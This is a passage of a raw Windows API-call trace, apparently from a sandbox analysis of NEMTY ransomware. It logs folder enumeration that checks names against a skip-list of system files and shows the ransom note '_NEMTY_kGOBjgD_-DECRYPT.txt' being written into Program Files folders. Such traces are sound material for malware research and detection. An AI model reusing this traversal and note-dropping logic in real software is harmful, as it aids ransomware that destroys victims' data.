lpString2="ntuser.dat") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="desktop.ini") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="CONFIG.SYS") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="RECYCLER") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="bootmgr") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="programdata") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="appdata") returned 1 [0099.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpLics.dll", lpUsedDefaultChar=0x0) returned 12 [0099.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpLics.dll", lpUsedDefaultChar=0x0) returned 12 [0099.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpLics.dll", lpUsedDefaultChar=0x0) returned 12 [0099.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpLics.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpLics.dll", lpUsedDefaultChar=0x0) returned 12 [0099.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.869] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1 [0099.869] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".") returned 1 [0099.869] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="..") returned 1 [0099.869] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="...") returned 1 [0099.869] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="windows") returned -1 [0099.869] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="rsa") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="NTDETECT.COM") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="ntldr") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="MSDOS.SYS") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="IO.SYS") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="boot.ini") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="boot.ini") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="ntuser.dat") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="desktop.ini") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="CONFIG.SYS") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="RECYCLER") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="bootmgr") returned 1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="programdata") returned -1 [0099.870] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="appdata") returned 1 [0099.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll", lpUsedDefaultChar=0x0) returned 11 [0099.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll", lpUsedDefaultChar=0x0) returned 11 [0099.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll", lpUsedDefaultChar=0x0) returned 11 [0099.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll", lpUsedDefaultChar=0x0) returned 11 [0099.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.870] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeee83b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.872] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeee83b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.872] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.872] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2=".") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="..") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="...") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="windows") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="$RECYCLE.BIN") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="rsa") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="NTDETECT.COM") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="ntldr") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="MSDOS.SYS") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="IO.SYS") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="boot.ini") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="boot.ini") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="AUTOEXEC.BAT") returned 1 [0099.872] lstrcmpiW (lpString1="Windows Journal", lpString2="ntuser.dat") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="desktop.ini") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="CONFIG.SYS") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="RECYCLER") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="BOOTSECT.BAK") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="bootmgr") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="programdata") returned 1 [0099.873] lstrcmpiW (lpString1="Windows Journal", lpString2="appdata") returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Journal", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Journal", cchWideChar=15, lpMultiByteStr=0x653f8d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Journal", lpUsedDefaultChar=0x0) returned 15 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Journal", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Journal", cchWideChar=15, lpMultiByteStr=0x653f8d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Journal", lpUsedDefaultChar=0x0) returned 15 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.873] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.876] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.876] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0099.877] CloseHandle (hObject=0x3c0) returned 1 [0099.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 